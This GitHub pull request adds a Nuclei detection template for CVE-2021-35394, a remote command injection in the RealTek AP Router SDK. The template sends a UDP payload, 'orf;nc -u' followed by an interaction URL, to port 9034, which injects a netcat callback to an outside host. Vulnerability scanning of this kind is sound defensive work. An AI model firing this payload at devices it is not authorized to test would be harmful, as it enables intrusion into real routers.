Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-35394 #8362

Open
wants to merge 5 commits into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 33 additions & 0 deletions javascript/cves/2021/CVE-2021-35394.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
id: CVE-2021-35394

info:
name: RealTek AP Router SDK - Arbitrary Command Injection
author: king-alexander
severity: critical
remediation: Apply the latest security patches or updates provided by RealTek.
description: The SDK exposes a UDP server that allows remote execution of arbitray commands.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-35394
- https://blogs.juniper.net/en-us/threat-research/realtek-cve-2021-35394-exploited-in-the-wild
tags: cve,cve2021,realtek,rce,kev

javascript:
- code: |
const net = require('nuclei/net');
const conn = net.Open('udp', `${Host}:${Port}`);
conn.Send('orf;nc -u {{interactsh-url}}');
args:
Host: "{{Host}}:9034"
Port: 9034

matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"

- type: dsl
dsl:
- success == true
condition: and
Loading